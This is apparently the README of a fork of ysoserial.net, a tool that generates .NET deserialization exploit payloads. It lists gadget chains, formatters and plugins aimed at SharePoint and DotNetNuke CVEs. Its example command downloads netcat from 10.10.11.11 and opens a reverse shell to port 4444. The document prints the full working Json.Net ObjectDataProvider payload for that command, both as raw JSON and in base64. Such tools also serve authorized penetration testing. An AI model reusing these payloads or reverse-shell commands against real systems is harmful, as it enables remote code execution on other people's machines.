5l1v3r1 / ysoserial.net-2

ysoserial.net for Windows execute file

ysoserial.net

ysoserial.net for Windows execute file

Usage

ysoserial.exe -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Available gadgets:
ActivitySurrogateDisableTypeCheck (Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored.)
Formatters:
BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter
ActivitySurrogateSelector (This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
Formatters:
BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter
ActivitySurrogateSelectorFromFile (Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'.)
Formatters:
BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter
ObjectDataProvider (ObjectDataProvider gadget)
Formatters:
DataContractSerializer, FastJson, FsPickler, JavaScriptSerializer, Json.Net, Xaml, XmlSerializer, YamlDotNet < 5.0.0
PSObject (PSObject gadget. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
Formatters:
BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter
SessionSecurityToken (SessionSecurityTokenGenerator gadget)
Formatters:
BinaryFormatter, DataContractSerializer, Json.Net, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter TextFormattingRunProperties (TextFormattingRunProperties gadget)
Formatters:
BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter
TypeConfuseDelegate (TypeConfuseDelegate gadget)
Formatters:
BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter
TypeConfuseDelegateMono (TypeConfuseDelegate gadget - Tweaked to work with Mono)
Formatters:
BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter
WindowsClaimsIdentity (WindowsClaimsIdentity (Microsoft.IdentityModel.Claims namespace) gadget)
Formatters:
BinaryFormatter, DataContractSerializer, Json.Net, NetDataContractSerializer, SoapFormatter
WindowsIdentity (WindowsIdentity gadget)
Formatters:
BinaryFormatter, DataContractSerializer, Json.Net, NetDataContractSerializer, SoapFormatter

Available plugins:
ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
ApplicationTrust (Generates XML payload for the ApplicationTrust class)
Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Resx (Generates RESX files)
SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
SharePoint (Generates poayloads for the following SharePoint CVEs: CVE-2019-0604, CVE-2018-8421)
TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
ViewState (Generates a ViewState using known MachineKey parameters)

Usage: ysoserial.exe [options]
Options:
-p, --plugin=VALUE The plugin to be used.
-o, --output=VALUE The output format (raw|base64). Default: raw
-g, --gadget=VALUE The gadget chain.
-f, --formatter=VALUE The formatter.
-c, --command=VALUE The command to be executed.
--rawcmd Command will be executed as is without cmd /c being appended (anything after first space is an argument).
-s, --stdin The command to be executed will be read from standard input.
-t, --test Whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable (experimental). Default: false
--sf, --searchformatter=VALUE Search in all formatters to show relevant gadgets and their formatters (other parameters will be ignored).
-h, --help Shows this message and exit.
--credit Shows the credit/history of gadgets and plugins (other parameters will be ignored).

Example

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe"

{ "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "MethodName":"Start", "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "$values":["cmd", "/c curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe"] }, "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} }

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe" -o base64

ewogICAgIiR0eXBlIjoiU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUiLCAKICAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAgIk1ldGhvZFBhcmFtZXRlcnMiOnsKICAgICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAgICIkdmFsdWVzIjpbImNtZCIsICIvYyBjdXJsIGh0dHA6Ly8xMC4xMC4xMS4xMS9uYy5leGUgLW8gbmMuZXhlICYgbmMuZXhlIDEwLjEwLjExLjExIDQ0NDQgLWUgY21kLmV4ZSJdCiAgICB9LAogICAgIk9iamVjdEluc3RhbmNlIjp7IiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkifQp9